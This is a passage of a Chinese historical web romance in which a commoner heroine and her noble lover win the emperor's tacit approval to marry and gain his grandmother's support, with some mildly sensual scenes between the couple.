她顺了他的意,躺在身侧的人却得寸进尺,如何都不老实,又因着夏日穿着轻薄,被他几下撩拨,衣衫也乱了,身上沁了一层薄汗。 他却让那汗出得更多,更湿。 将她紧紧抱在怀中,反复地问这四年想不想他,若答得慢了轻了,他便激着她将心中所想喊出声。 每每她快要撑不住时,他又收了力道,适时地放缓,将这缠绵拉得更深更久。 沈昭被他折腾得厉害,头沾在鸳鸯枕上,不多时便睡着了。 谢珩又派人送了热水,自己拿着帕子为她轻轻擦拭身子。 她梦中轻哼出声,睡得香甜。 —— 自谢珩离开晋国公府后,李立雯夜中常常惊醒,辗转反侧无法入眠。 从她出阁后,已有二十载寒来暑往,这期间她从未进过宫。 不敢也不能。 可谢珩的事却把她逼得无路可选,不得不去面对。 是日清晨,她沐洗更衣,换上一身素雅的宽袖纱罗衫,配高腰曳地长裙,头梳高髻,插金簪,面施斜红。 饶是多日不得好眠,但粉面玉黛,仍美的自然天成。 她前日已向尚宫局上报,宫中的轿辇早已在宫门等候多时。 大齐有仪制,除却紧急事务,外命妇包括出嫁的公主入宫前须得上报,但受宠的公主可不待诏而入。 若是论起李立雯是否受宠,她由端妃所出,先帝在时,对她并无几分好颜色,端妃过世后,由皇后教养,同当今圣上一起成长,境况才稍有改善。 在皇子皇女之众的后宫,她没有生母庇佑,到底万事不尽如人意。 可她又是在那场储位之争中唯一得以自保的公主,众人只道是她在宫里低调内敛,不站派系,却全然忘了,当初五子夺嫡,最终杀出重围的,却是曾经不慕东宫之位、无意大统的三皇子,即当今龙椅之上的景明帝。 他已在此等候多时。 景明帝虚长不了李立雯几岁,帝王的威仪赫赫,眉目深邃,曾经熠熠如星的眸子此刻却如古井般无波。 直到看见殿前的那抹身影,才微微有了波动。 因朝中事务繁杂,景明帝只择三六九日为常朝之期,他既有雷霆手段又勤政为民,今日本该如期早朝,他却第一次择期改日。 金銮殿上,只有景明帝和李立雯,景明帝身穿一身私服,站在殿中,等她多时。 李立雯先行跪拜:“参见陛下,吾皇万岁万岁万万岁。” 景明帝深眸盯着他,嘴角扯过一抹嗤笑:“你二十年不曾进宫,连声皇兄也不肯叫了么?” 李立雯直起身子,却刻意同他保持距离,不敢抬眸:“陛下言重了。” 景明帝沉了沉气,虽话语中有几分责备,但脸上却无半分苛责:“若不是为着九如,你是不会自请入宫,”他沉思半晌,怕只是是最后一次相见,缓缓开口,“也不会见我。” 他改了自称,不是高高在上的“朕”,不是血脉姻亲的“皇兄”,只是单纯一个字“我”。 只寄希望能回到幼时,没有那么多的隔阂和限制,只有两小无猜的两人。 李立雯长睫闪了闪,忙说道:“陛下慎言。” 景明帝抬眸望向她,一向紧抿的薄唇带了一丝微不可察的弧度:“那是为着何事?” 李立雯浅叹一息,既说不过他,又被他一眼看穿的滋味太过难捱,索性直截了当道:“吾儿谢珩愚钝,一时被一个女子迷惑了神志,臣妾还请陛下下旨赐婚,同蔺家的小女儿结两姓之好。” 景明帝虚抬起手,又无奈攥拳垂于身侧:“你我之间,不必如此拘礼。” 李立雯见他始终不肯应允,咬了咬唇,从怀中慢慢拿出那颗被她珍藏的夜明珠:“皇兄,此物是你赠与我,臣妾从无所求,只求你成全我这一事。” 他心中紧绷的那条弦,被她云淡风轻的几句话,逼得骤然断裂,景明帝怒道:“无所求?当日你出阁离宫,不是你求我求来的!” 他本以为坐拥高位便可得到想要的一切,再无人阻在她们之中,可她却绝情地嫁于另一人,那他这么多年辛苦筹谋,杀光了所有知晓真相的人,又是何苦呢。 明明,她不是先帝所出,明明她们有机会在一起。 他不在乎背负骂名,可偏偏她最在乎。 李立雯抬眸对上他眼中的怒火:“兄长,这些年有劳你和皇后照抚,但我已嫁做人妇,你我之间的事莫再提了。” 景明帝冷笑一声:“有事便想起入宫见我,无事便理也未理,雯儿,可真像你的行事风格。” 青梅竹马,从小相伴长大,当然不会没有感情。 甚至李立雯自认对他的感情不算清白,但她们之间隔了太多,早已没了当初眼中只有彼此的纯善。 李立雯仍然忍耐着,嘴唇翁动,问道:“那兄长我该如何做,你才会允了我的请求?” “再嫁。” “” 虽然李立雯当初对他的情愫为真,可嫁入晋国公府后,她方知专情的可贵。 景明帝口口声声只她一人,可后宫莺莺燕燕不断,皇子公主十余人。 他并非只有她,但是他唯一得不到人的是她。 如今国泰昌隆,景明帝做事一向图稳,她料定景明帝不会为她昏了头脑,直视着他的眼眸:“陛下说笑了。” 景明帝喟然长叹:“你终究是连骗都不愿骗我一下。” 他沉默良久,转身走上高位:“罢了,你既然开口,我自会给你个交代。” 李立雯拜别谢恩,并未多留,径自出宫走了。 景明帝看着她的身影模糊渐成一点,传人侍奉:“高公公,你昨夜传朕口谕时,可见到令九如心心念念的那个姑娘了?” 高公公回禀:“见到了,确有几分好颜色,奴才瞅着谢大人心疼得紧。” 景明帝眉间的皱纹愈深:“一会儿,先让谢珩在偏殿候着,你,去将那名女子带进宫,朕要亲自审问看看。” 第69章 沈昭睡得沉,谢珩起身入宫时,她虽迷迷糊糊听得一些声响,但皱皱眼皮,又转身陷入梦乡。 直到春宁和夏安慌似地将她摇醒。 虽然她之前在府中贪眠耍懒,可她们二人毕竟是由李立雯亲自带出的丫头,很少会如此慌张。 沈昭睡眼惺忪,夏安则直接抬手扒起她的眼皮,冲着她大喊:“小姐,不好了!宫里又来人了。” 她下意识地推开夏安的手:“来就来吧,”反正与她无关,她仰头向后倒去,“你们去请谢珩,我还要睡会。” “小姐,她们让你进宫!陛下的口谕,高公公已经到门口了。”夏安扯着她的胳膊,将她拉下床。 沈昭猛地一个激灵,清醒了大半:“谁!为何让我进宫?” 她俯身去拾绣鞋,腿上却酸软无力。 幸好谢珩昨夜为她擦身,头虽然昏沉沉的,但身上的黏腻被擦净,她们主仆三人,手忙脚乱地一顿穿戴整理。 开门时,高公公正站在院中,虽然心中有几分不耐,但到底面上忍着:“沈姑娘,还请您随杂家进宫一趟。” 与前夜不同,他此行带了二十多名禁军,大有一副若是她抗旨不遵,便强撸她进宫的架势。 府上虽然家仆众多,但沈昭不敢抗旨不遵。 哪怕没有亲眼所见,她亦知晓一国天子,执掌生死和天下的人物,又岂是她能开罪的。 甚至还未来得及给谢珩留下口信,她出门便被人簇拥着上了车驾。 马车悠悠前行,她掀起车帘向后望去,宫中的禁军已将私宅重重包围,她的心不由得沉了沉。 一路寂然,只有车辙碾过石板路的声音,沈昭很快入了宫门,下了车驾后,高公公在前引路,六名禁军分列左右,朝着金銮殿走去。 沈昭曾经入宫见过长乐公主李玥,但谢珩同她一起入宫和被禁军监守着“押”进宫,到底有几分不同。 来往太监宫女之众,见到高公公皆驻足行礼,头却始终低垂着不敢抬眸。 偌大的皇宫冷冷静静,连檐上的雀儿都不敢放肆啼鸣。 沈昭不由得担心起谢珩,谢珩一早入了宫,是否惹得龙颜大怒,否则一国之君岂会邀她一个布衣百姓入内廷。 头脑如浆糊般,被她各种思绪越搅越乱。 她平日最擅长的胡说八道,但若当着陛下的面胡来,只怕还存着欺君之嫌呢。 从宫门到大殿的这段路,思绪反复,她甚至已将自己的身后事都安排好了。 直到高公公停下脚步:“沈姑娘在此稍候,咱家前去通传。” 眼前金殿晃了晃她的眼,沈昭垂首应下,余光向内瞟去,没看到谢珩的身影。 如同每次考试前夕总是最紧张不安,可一旦上了考场,便也觉得不外乎于是,睁着眼大胆懵便是。 她一路走来的紧张反而消解不少,轻呼出一口气,高公公的声音从殿内传来:“宣沈氏觐见。” 这一声,惊得她刚刚落下的心又陡然间悬至半空。 她如今还是严元清,长安城中可有沈昭这人? 顾不得多想,沈昭小步入内,俯身叩首:“民女” 因谢珩平日总唤她沈昭,可她到底该如何自称呢? 罢了,她把心一横,高声道:“民女参见陛下。” “平身吧,抬起头来让朕看看。”景明帝的声音自头上传来,沈昭未作他想,亦不扭捏,缓缓抬起头,直视帝王。 景明帝正值壮年,甚至比她想象得还要年轻许多,周身散着一股凌厉气势,来自上位者的威压逼得人不由得静默。 毕竟是抬起头给圣上看,不是给她相看,她惜命的很,万不能主客颠倒,只一眼她又匆匆垂下眼睑, 景明帝视线在她身上逡巡一遭,暗叹谢珩有几分眼光,一布衣女子无任何品阶,初见帝王,不卑不亢,有礼有节,倒颇懂些规矩。 何况他已提前派人查明,此女子正是长安城茶铺背后的东家,他依稀记得去岁长安城城郊瘟瘴肆虐时,茶铺还曾施粥救济,捐了不少银钱。 可他到底答应了李立雯,沉吟半晌,他抬抬眼皮,他一向很少发怒,不仅如此,他甚至少有情绪的波动。作为帝王必须学会的便是慎独、静思、处变不惊。 景明帝开口道:“《孝经》有载,不爱其亲而爱他人者,谓之悖德;不敬其亲而敬他人者,谓之悖礼。不知姑娘如何看待” 沈昭虽然不完全懂其中所指,但悖德、悖礼二字却听得清楚,她回道:“陛下,《孝经》能流传至今,自有其个中道理,民女认为亦如您所言,仁义礼智信作为五常之道,是修身立命的根本。 悖德违礼必会遭受世人唾弃,可民女仍认为凡事论迹不论心,听闻夫妻二人在彼此相知相守的一生中,仍有无数次想杀死对方的冲动,若是真的下手那定是背信弃义、泯灭人性之徒,可若他行为举止事事在意、关切自己的妻儿,能演一生便就不算假。” 景明帝微眯起眼眸,心中略过一丝浅笑,倒是个能说会道的伶俐丫头:“所以你同样认为自己在假冒谢怀瑾时,与谢珩产生了儿女私情,承认是悖德乱|伦之徒?” 虽然料到景明帝会质问她,但当真的面对这个问题时,她反倒没有想象的那般慌乱,她直言:“民女斗胆,还请陛下细想,我以谢怀瑾的身份入晋国公府, 若我真想做些什么,大可以借着这个身份堂而皇之行事,何况谢家多年寻她未果,自然不会苛待自家小女儿, 恰恰是我始终记得,自己并非真正的谢家人,所以并未把谢珩当做我的亲兄长,才走到今天这步。” 景明帝轻哼出声:“还真是个牙尖嘴利的丫头,一张巧嘴把谢家人骗得团团转。” 沈昭索性不同他兜圈子:“陛下既然知我并非谢家人,谢珩没有婚约在身,我与他又谈何违背纲常?” 景明帝:“毕竟你曾是谢怀瑾,这是大家众所周知的事,哪怕你背上骂名,议论你红颜祸水、不顾礼法,你也可以不顾惜自己的名节?” 沈昭眼尾上扬,浅笑道:“陛下,名节、声望于我而言,本就是身外之物,生不带来死不带走,既然于我无用,我又何须顾及,何况事已至此,议论声起,饶是我再去在意,也无济于事,又何必自扰。 我与谢珩情投意合,日子总归是两个人过的,何必在乎旁人的看法,红颜祸水,若是夸得我一句红颜,我还挺开心呢!” 景明帝一针见血说:“那你又何至于这段时间躲他至此?” 沈昭:“民女不在乎自己,不代表我可以替谢珩不在乎,他毕竟是臣子有自己的宗族姻亲,若让他抛却现有的一切同我在一起,我做不到。” 景明帝微微颔首,倒不是个拎不清的丫头,他传人去唤在偏殿等候的谢珩, 谢珩径直走到沈昭的身侧,跪拜行礼:“陛下。” 景明帝看着跪在殿前的两人,恍惚间回到幼时,他们每每闯祸时,也如此一般默然跪着,不知不觉竟过了这么多年。 他们的子女都走到谈婚论嫁的这步。 景明帝目光落在他们二人身上:“九如,朕派人去查过,此女满口谎言又善钻营,本家住礼安坊名唤严元清,可你口口声声喊她沈昭,可莫让她骗了。 朕听闻长安城中的两处茶铺也与她有关,如此一个毫无根基的小丫头,怎有的如此本事。她嘴上功夫了得,你还是听你母亲一言。何况一介布衣商贾,如何配得上你。” 谢珩又行一礼:“陛下,臣敬她爱她,不是因为她的身份或姓名,而是活生生站在臣眼前的人,臣的身份是承袭父母而得,若臣生于一普通人家,与她也并无差别,士农工商只是谋生的路不同罢了,本就没有贵贱之分, 若因此毁了一桩姻缘,那臣愿意自请辞去官职,臣意已决,还请陛下开恩。” 他们二人这一番说辞,倒显得景明帝像棒打鸳鸯的恶人。 他并非没想过威逼利诱,可这二人情比金坚,连生死都置之度外,又岂会将他放在眼中。 尤其是这姑娘,眉眼间那不服输又天不怕地不怕的劲儿,像极了雯儿当年。 唯一的区别,一个坚定站在谢珩身边。 一个毫不*犹豫地走向没有他的以后。 他单手支颐,扶着眉心,到底是他老了,身份对换,竟站在了二十多年前他父皇母后的位置上,可悲又可怜:“罢了,回去给你母亲带句话:朕不想辜负二十岁的自己。你们的家事关起门,自己决定吧。 若是成了,记得进宫送个信,朕亲自去喝杯喜酒。” 沈昭和谢珩一时怔住,陛下如此说姑且是默许下了,还是沈昭先开口谢恩:“谢陛下成全,吾皇万岁万岁万万岁。”谢珩跟着叩首谢恩。 景明帝眼眸中泛着浅浅的光,看着并肩而立的两人,心中万千思绪翻涌:“平身吧。” 二人一同走出大殿,头顶的日光明媚耀眼,她们相视而笑,眼中只有彼此。 景明帝望着他们的身影,第一次红了眼眶。 走出金殿未久,彼此交错摩挲的衣袖便越靠越近,沈昭有意往旁边靠去,可她挪一步,谢珩便又近她三分,最后直接握起她的手,牢牢不放。 帝王的威压不言而喻,沈昭此刻卸了力,身子泛着酸,可心中欢喜得很,毕竟她们过了陛下这关,便成了大半。但毕竟在宫中,不敢太得意忘形,低声道:“谢珩,你低调些。” 谢珩侧身低头,含着笑意轻飘飘说道:“你方才对着圣上,表明真心,如此高调,怎么现在倒还害羞了?” “你怎么知道?你偷听!”沈昭眼眸睁得圆润,听圣上的墙角,这也太大胆了。 谢珩捏了捏她的雪腮:“你们交谈时,殿门大敞,门外站满了随侍的太监宫女,岂止我知道,估计很快都会传至全长安了!” 沈昭脸唰一下红透,低着头扯着他的衣袖,这可太丢人了:“快快,快离开这里。” 谢珩拖着步子,刻意走慢,看她慌慌张张的模样,唇角勾起,一把将她拉到怀中:“我喜欢听你如此说,让我知道你心中有我。” 他的气息将她紧紧包裹,沈昭听着远处禁军整齐有力的步伐,挣扎着将他推开,径自往宫门方向跑去。 谢珩快步跟上,行至宫门前,他拉住沈昭:“不逗你了,你同我去个地方。”他安排的马车已在宫外候着。 “哪里?” “去一个能让母亲改口同意的地方。” 第70章 沈昭随谢珩上车后,还记得夏目这几日休息,问道:“你要去何处,若是不急,我们先回一趟茶铺吧,我需先交代一下,我让夏目养伤去了,她这几日不在。” “好,那先回去一趟。”谢珩说着揽上她的腰肢,将她拥入怀中。 经此宫中一趟,沈昭心中阴霾一扫,皇权压人,若是最难缠的陛下都松了口,得李立雯应允只需耗费些时日罢了。 谢珩曾失去过她一次,始终拿不准她的心意,直到她今日在圣上面前一番言辞凿凿,他才稍稍安心。 他不想再失去她了,饶是沈昭此刻依偎在他怀中,心中仍会感觉到虚幻不实。 自她主动回府后,谢珩片刻都不想与她分开,旁若无人时,恨不得每时每刻都要贴在她身侧,只有面见陛下时还有些体统。 此刻谢珩手挽着她的青丝,握着她肩膀的手微微用力:“沈昭,无论母亲态度如何,答应我,永远都不要离开我了。” 沈昭扬起头,撞进他深沉的眼眸中,郑重道:“我都已经在陛下面前表明心意,自是不会弃你不顾,你忘了?陛下还要来喝我们的喜酒呢。” 她笑得灿然,明眸蓄着春光,只一眼便令他心神驰往。 沈昭挺直脊背,轻轻贴上他的唇,似是为了给他一个更真实可触的回答。 谢珩捧起她的脸,亲了又亲。 沈昭闭着眼享受这刻,唇齿纠缠的吞咽声和喘息交织,两种不同的气息彼此紧密相融、碰撞。 马车颠簸不平,沈昭的手无意一撑,使谢珩的手臂肌肉瞬间绷紧。 知他要同她去一处紧要地方,猜他不会胡来,她便更肆无忌惮地逗他。 曾几经欢好,沈昭早已摸清他每一处敏感,此刻她如玉的指尖不轻不重地摩挲,隔着衣料,反而更放大了那细微又柔软的触碰,激得他腰眼发麻。 逗弄着沈昭的小舌,骤然发力,惩罚般地吮吸啃咬,她吃痛反而加大了力度。 谢珩的手覆在她不安分的手上,攥住她的手腕将她拉开,咬牙唤她的名字:“沈!昭!” 眼中□□灼灼,一抹绯色自脖颈蔓延至脸颊,耳垂红得像熟透的果子。 往往都是被他几经逗弄,又强硬地不放开她。 如今沈昭瞧他忍耐至极的模样,眼眸中闪过一丝狡黠的笑贴近他耳侧,轻声说道:“若是忍得难受,不若我为你纾解一番?”她手上的力道恰到好处地一紧。 谢珩再也忍耐不住,一个翻身将她压在身下。 他炽热贲张的气息将她困于方寸间,避无可避,眼中汹涌的深意将她囚困、吞噬。 天旋地转间,她的裙琚被他的衣摆轻擦着,膝盖抵在她的□□,重重一拐,将她紧并的双腿硬生生分开,因克制而绷紧的肌肉,隔着衣服贴着她的雪肤,似能感受到滚烫的血脉翻涌和隐而不发的力量。 他的手落在她的衣带上,骨节分明的手背上淡青脉络隐现,食指沿着织金绣纹一路游移。 一缕熟悉的甜香自罗群褶皱间浮绕而上,缠住他凝滞的腕骨。 她胸前一起一伏的呼吸,带着衣襟前的软纱起伏,若有似无地贴在他掌心,带着均匀的节奏,一下下撩拨。 风吹开轿帘一角,露出雅茗茶铺的招牌,微不足道般扫过他的脸颊,带走一抹薄红。 谢珩俯身咬住她红透的耳垂,满意地听到一声轻喘后,才托起她的腰肢,将她扶起,身上的汗却任风如何吹都不散,沾湿了他的里衣。 沈昭以手作小扇,驱散着身上的热意,稍作整理后,掀起轿帘,下车前还不忘回头逗他一番:“你要随我下去么?” 谢珩直着身子如松一般端坐其上,面色红润,心跳如擂鼓,尚未平息,下腹处的火还未歇:“夫人莫急,今晚我们有的是功夫磋磨。” 沈昭羞赧浅笑,嗔怪道:“谁是你夫人。”说罢头也不回地跳下马车。 柳宁知道夏目不在,怕沈昭一人应付不来,早早处理完店里的事便过来帮衬。 他听闻沈昭昨夜去寻谢珩,心里已有几分猜测,又在她下轿的那瞬,透过车帘的缝隙中看到其中那副官靴,以及春风满面向他走来的沈昭,自觉已败下阵来。 他强颜欢笑上前去迎,主动示弱:“那日我去谢府所言,只不过是为着将你顺利带回,还请你莫怪。” 因着她们二人之间的事,将无辜的柳宁牵涉其中,她本就心中有愧,大大方方地对着柳宁躬身作揖:“我知你是为着我和蓁蓁的安危,感激你还来不及,之前是谢珩误会了,不分是非出手伤你,我代他向你道歉,终是我们二人不对。” “我无事,不必如此。”柳宁抬起手准备去扶她,却突觉身上一股莫名的寒意,他抬眸望向马车,轿帘轻荡,车上的人并未下来,他堪堪收回手,“不必如此见外。” 见沈昭话语间已自觉同谢珩处于一道,他又何必庸人自扰之,只跟在沈昭身后,帮忙协调店内事宜。 沈昭安排妥当后,转身上了马车,柳宁并未相送,只垂首整理账簿。 她踩着车凳,金缕鞋尖刚落于车上踩实,帘中伸出一只大手握住她的手腕,只觉腕间一紧,整个人已经跌落进他的怀中。 她掩住口中的惊呼,整个人撞进他硬挺的胸膛上,鼻尖顿时盈满沉香的气息,她慌忙撑住车壁,后腰则被他的手稳稳托住,掌心温度透过轻薄的衣衫传来。 那刚消下去的薄汗又涌着热意冒尖。 “慌什么”他十指插进她的指间,将她稳稳带入怀中,喉结却在她鬓边滚了滚,“方才胆子不是挺大,现在知道怕了?” 沈昭月眉星目,眉梢带笑:“我自是不怕,可就不知你受不受得住了。” 她两点漆瞳里仿佛坠了星河,亮得摄人心魄。让他不由得想起宫宴时西域进贡的夜明珠,浸在葡萄酒中的模样。 可那死气沉沉的珠子,又哪比得上她此时眼波流转间,自然溢出的几分灵气。 饶是多风流的话,经她口中说出,都带了缠绕舌尖不化的甜。 谢珩将她紧紧抱在怀中,因着正事要紧,不敢再去细看,只呐呐道:“真是怕了你了,晚上可别逃。”尾音勾起一抹缱绻,带着势在必得的笑意。 马车驶出长安城,一路颠簸,不久便停下了。 谢珩扶着沈昭下车,待站稳后,沈昭不自觉退后几步,她并非没来过此处,相反,而是太过熟悉了。 她带着谢怀瑾的身份,最后一次便是来此处,拜别谢怀瑾的祖母卢玉。 觉察到她的退缩,谢珩上前牵住她的手,眼中满是坚定地看向她:“我们一起面对。” 入寺的路上,她听着谢珩将他独自来此合八字,将解语批文给祖母看的事细细道来。 “那祖母可知你合婚的人是我?” “不知,那时我怕影响祖母身体,便没有告诉她,如今四年已过,我来之前特意问过来此给她看诊的大夫,祖母已然无恙。” 沈昭挣开他的手:“不可,她现在无恙不代表她听闻这则消息后,仍然无恙,我们不能冒险。” 谢珩复又握住她的手,贴在胸前,喉间滚动半晌才溢出一句:“沈昭,浮生千劫,我该是修了几世的福分才得以遇到你,你处处替我的家人考虑,替我着想,”他忽然低头笑了笑,指腹擦过她的眼尾,“若是能再早些遇见你便好了。” 沈昭回握着他的手:“所以,我们更不能让祖母承受这些。” 谢珩浅笑,祖母卢玉最信因果缘分一说,他记得从母亲口中得知,之前他母亲曾替他去王家相看过,王家小姐同他脾性相似、年岁相当,却独独这八字不合,李立雯本想着不足为道,但他祖母却千万个不同意。 于他而言,倒无所谓,毕竟他都未见过王家小姐,合与不合,他根本不放在心上。 他拉着沈昭小步往寺里走:“自合了你我八字后,祖母很想知道你到底是谁,她年过古稀,眼明心透,未必不知晓你我之间的事。” 沈昭心中仍有犹疑:“那若是你我八字不合呢?” 谢珩:“合与不合,全是人定胜天,只要我说合便是合了。” 言语间,两人走到祖母居住的寮房门前,沈昭拉着他的手:“要不我们改日再来?” 见她如此,谢珩生怕松开手的一瞬,她又溜到一旁,他索性站在原地喊道:“祖母,孙儿和孙媳妇来探望你了!” 谢珩这一嗓子,惊得在寺庙房檐上栖息的白鸽,扑棱棱扇着翅膀飞起。 他攥着她的手大步向前跨,墨色衣袍带起一阵风,把寺庙里中的檀香都搅成了欢腾的喜气。 周遭的香客僧侣听罢,低头抿嘴笑,连座上神佛都瞧着这对璧人眉眼弯弯。 卢玉听到院外的动静,掀起门帘,看到并肩而立,双手交握的二人,先是微微愣住,而后眼中带笑地向他们走来:“好啊,珩儿可终于舍得让祖母看到你意中人了。” 他们二人上前扶着祖母,这早在谢珩意料之中,他笑道:“祖母。” 卢玉不但没有生气,反而热络地挽起沈昭的手,低声道:“怎的?几年未见,都忘了祖母了,无论是何种身份,你都是祖母心中的好孩子。” 沈昭适才释然又安心地喊了句:“祖母!” “哎!”卢玉笑盈盈地应下这声,心里的那份猜测一锤定音,既包括上次珩儿来时,并未明言他的意中人是谁,又契合上了上回沈昭来时,那一如诀别的目光。 总归她们二人终于有勇气站在她面前,只要心在一处,便不是难事,她疼惜地抚着沈昭的手,知她身无倚仗,一路走来的不易:“好孩子,委屈你了。” 沈昭握着祖母的手,她的手像一节枯老的梅枝,皱纹沟壑不平,掌背青筋浮凸,可却温暖又有予人力量。 哪怕沈昭同谢珩没有直说,祖母也知晓他们的难处,率先开口道:“你母亲那边,我会出面去劝,她一时接受不了倒也在情理之中,她这一生受声名所累,过得也不容易,需要有个慢慢令她点头的过程。” 谢珩和沈昭应下,此行既是为了向祖母表明心意,更多的是因着四年未归,想来探望一下她老人家,到底并不想逼迫祖母出面。 可卢玉年轻时做事便雷厉风行,甚少拖拉,她简单整理行装,因着出府时便简衣轻装,只拿了个小的包袱,交与谢珩,并不多留:“走,我们一同回府!哪怕不为着你俩,我也很久没回去看看了。” 祖母的性子一向说一不二,她们二人并未多劝。 那日自谢珩走后,祖母掂着合婚的信笺,反复相看,喜上眉梢,愣是把旧历都翻看烂了,算着黄道吉日,可不成想这一等便是四年。 真是苦了这两个孩子,也苦了她。 卢玉本想即刻启程回府,但念着此处距长安城不远,不急于一时,三人便在寺里用过斋饭,过了晌午日头最盛时,坐上了回城的马车。 沈昭心中还惦记着茶铺的生意,虽然起初由她一手在洛阳城大开名声,但近几年她将铺面的事全权交由夏目和柳宁二人,自己乐得清闲。 可这一出出误会,不仅让柳宁挂了彩,夏目更扭伤了脚,还连带着蓁蓁几日未归,她心中过意不去。 外加虽然圣上默许了他们的婚事,可李立雯迟迟不松口,以她如今的处境回晋国公府,到底还有几分尴尬。 在马车经过茶铺时,沈昭吩咐车夫停下,向卢玉解释一番,又从铺子里取了三份茶叶,两份是混合的果茶,偏酸偏甜口各一份,另一份是茶性平和些的白茶:“祖母,我铺子里还有些事需要处理,就不陪您回府了,这几份茶叶您带着吧。” 谢珩了然,但他还需送祖母回府,只接过她手里的茶叶,不舍道:“那我晚些来接你。” 卢玉虽在寺中偶听过长安城有个茶铺生意红火,寺里的香客还不时抱怨有几种热销的茶需要提前几天订下,可竟不知背后的东家是面前的沈昭。 卢氏一族世代经商,更知女子从商不易。 她瞧着沈昭的眼中满含慈爱,此女不仅心思灵巧,聪慧过人,竟料不到她在长安城中能全凭自身立足,话语间更无炫耀之意,实属难得。 她满是赞许地点点头,转身对谢珩说:“珩儿,能娶到这姑娘,可真是你的福气,是我谢家的福分啊!” 沈昭羞赧地弯起嘴角:“祖母言重了。” 谢珩知她的可爱可贵之处,连声应道:“是,是祖母仁善,替孙儿修的好福气,才得沈昭倾心,所以祖母更得帮帮孙儿,将她娶回府。” 谢珩在府中时一向寡言,如今有了媳妇儿,到底是不一样了,去掉身上担负的枷锁和使命,似是更像他这个年岁该有的性情,也更愿同她亲近些。 卢玉一口应下:“好好,祖母定会好生劝劝。” 沈昭笑送着他们的车马离去,转身又投入到店里的繁忙。 茶摊前座无虚席,忙着为客斟茶的伙计已经累得满头是汗,在桌前来回流连,弯下的腰都没彻底直起来过。 收银的伙计手里的算盘声噼噼啪啪,就一直没断过。 有茶客下了几个大单,需要在晚膳前送到府上,后院忙着清点茶叶,装车的伙计午饭还没吃,单手托着腰,虚汗淋淋,完全使不上力。 眼看着满满一大箱茶叶从车上歪斜下来,沈昭跑上前,双手用力撑住,帮着一起推上车扶稳:“先去吃些东西吧,这儿我看着。” 70-76 第71章 因着老夫人回府事出突然,并未提前通知府里。 待谢珩扶着卢玉下车时,在门外看守的家丁才速速跑进府中回禀。 李立雯还在等着宫中的消息,心中焦躁不安,听闻老夫人回府,她整理衣裙,前来相迎。 见到一旁的谢珩,她料想这是珩儿搬救兵来了,虽然心中不快,但面对长辈到底不敢不敬:“阿姑,终于将您盼回府了。” 老夫人微微颔首,随她向前厅走去:“这些时日辛苦你照看府内事务了。” 谢珩将手里拎着的三份茶叶交由家仆,老夫人指向其中一包,嘱意吩咐道:“沏那份茶尝尝。” 仆从领命退下,不一会端上三杯热茶。 因着牵扯陈年旧事,有谢珩在场稍有不便,老夫人先遣他退下,屋内只有她和李立雯二人。 一时静默无言。 李立雯心中已有几分猜测,但若是她先开口就落了下风,只得装作无事一般,询问着祖母在寺中清修日常。 卢玉看破不说破,随着同她应和,直到茶水递到眼前时,她端起茶盏,抿了一小口,她一向不喜甜,但茶叶的苦涩倒恰恰冲淡了果子的甜香,倒合她的口味。 她余光扫过李立雯,问道:“这茶如何” 这长安城内捧得火爆的茶叶,她倒也听闻过,只是一向不爱凑着热闹。 前几日高府还送来了些,但她并不喜如此苦涩的口感,只呷了几口,抿了抿唇,却与上次不同,带了几丝甘甜:“倒同我上次喝的有些不同,勉强尚能入口吧。” 卢玉瞧着她杯盏中的茶水已下大半,茶水滚烫入喉,还下了这么多,口是心非的模样同当年如出一辙。 她索性不兜圈子:“我知你当年嫁给我儿时,心中是不情愿的,宫中内围之事,我一个老婆子没有可指摘的资格,可是我到底多走过些路,爱与不爱还是一眼可知的。” 景明帝同李立雯的事早有传言,哪怕景明帝杀光了所有知晓李立雯身世的人,可堵不住悠悠众口,彼时看热闹的人眼见景明帝初登大宝,都在等一道圣旨。 想看一看是皇权富贵重还是儿女私情长。 最终等来的是晋阳公主李立雯和晋国公的赐婚,这是她自己求来的,怨不得别人。 可当年之事被重提,她心上的旧疤仿佛被一把锈迹斑斑的刀,一下下磨着,豁开一道口子,涌出早已黑透的鲜血。 她误以为老夫人想责怪她,刚要开口却又被卢玉的话堵住。 卢玉:“可这几年你养育出谢珩和怀瑾这么好的孩子,将王府上下打得的井然有序,全是你的功劳。 珩儿这孩子自幼懂事,你可还记得他幼年对你撒过几次娇?谁人不愿在父母怀中受呵护长大,只是往往有时候,不是不想而是不能,可我瞧着他现在性子挺讨人喜欢。 李立雯不由得轻哼一声:“他现在倒确是有性子了,顶撞长辈,甚至还跑去宫里闹,也不知是谁给他的胆子。” 卢玉:“难不成比起一个有血有肉,有喜有悲的孩子,你更喜欢一个不动声色的木头么?况且你要看他因何事而置气,若是大逆不道那自然不容,可是他为了他爱重的女子。这份勇气只怕当今圣上也难比。 你喝的这茶就是沈昭那孩子惦记着你,给你带来的。这孩子有能耐有本事,又讨人喜欢,若是咱们谢家错过了,只怕打着灯笼找不出第二个了。 我年纪大了,没多少时候了,只盼着小辈能平安顺遂,你这一辈既然有未完的遗憾,又何必将遗憾延续到下一代呢?” 卢玉最后留下一句话,杀人诛心,不容她拒绝:“对了,我听珩儿说,圣上已经允了,还盼着登门喝喜酒呢,黄道吉日我也选定了,你无事便多上上心。” 李立雯起身,目光追着卢玉回房的身影:“阿姑!”- 谢珩一门心思全在沈昭身上,他不愿叨扰母亲和祖母交谈,独自向茶铺走去。 雅茗茶铺前,已停了一辆满载的马车,后院还有五辆马车停着。 沈昭和店里的伙计忙得脚不沾地,谢珩上前帮忙搭手,自开了第二家茶铺后,一时供不应求,她只得从南方运货救急,因着今日订单暴涨,店里人手不足,眼下运货进货的太平车堵在一起。 谢珩挽起袖子,很快加入其中,一同搬上搬下,他抹了一把额上的汗,见沈昭在一旁手提肩扛不停,脸上还蹭了些灰,发髻都有些歪了,他说:“要不,我让左衙里的人来帮,或者回府叫些人手。” 沈昭用衣袖轻拭脸上的汗:“不用,还有几箱货就装好了,等他们过来时,我们就装完了。” 沈昭初起就是靠着自己,坐在街边巷口一碗茶一碗茶卖出如今的名声和口碑,向来她能自己动手的事很少劳烦不相熟之人。 更何况动用金吾卫和晋王府的人。 好在这会儿快到晚饭时辰,大部分在铺子里喝茶的茶客起身回府,店里的人手尚且能转得开,未久便将货装好,只等着按时送货上门了。 伙计端上一大壶茶,沈昭招呼大家一同坐下暂歇,她向来一视同仁,同店里的伙计说说笑笑,没有架子。 可谢珩征战归来,走马游街时,无人不晓他的身份,拿不准这位大将军的脾性,伙计们站在一旁怯生生地不敢入座。 沈昭适才反应过来,她似乎也从未见过谢珩同手下人一起同桌共饮或用饭。 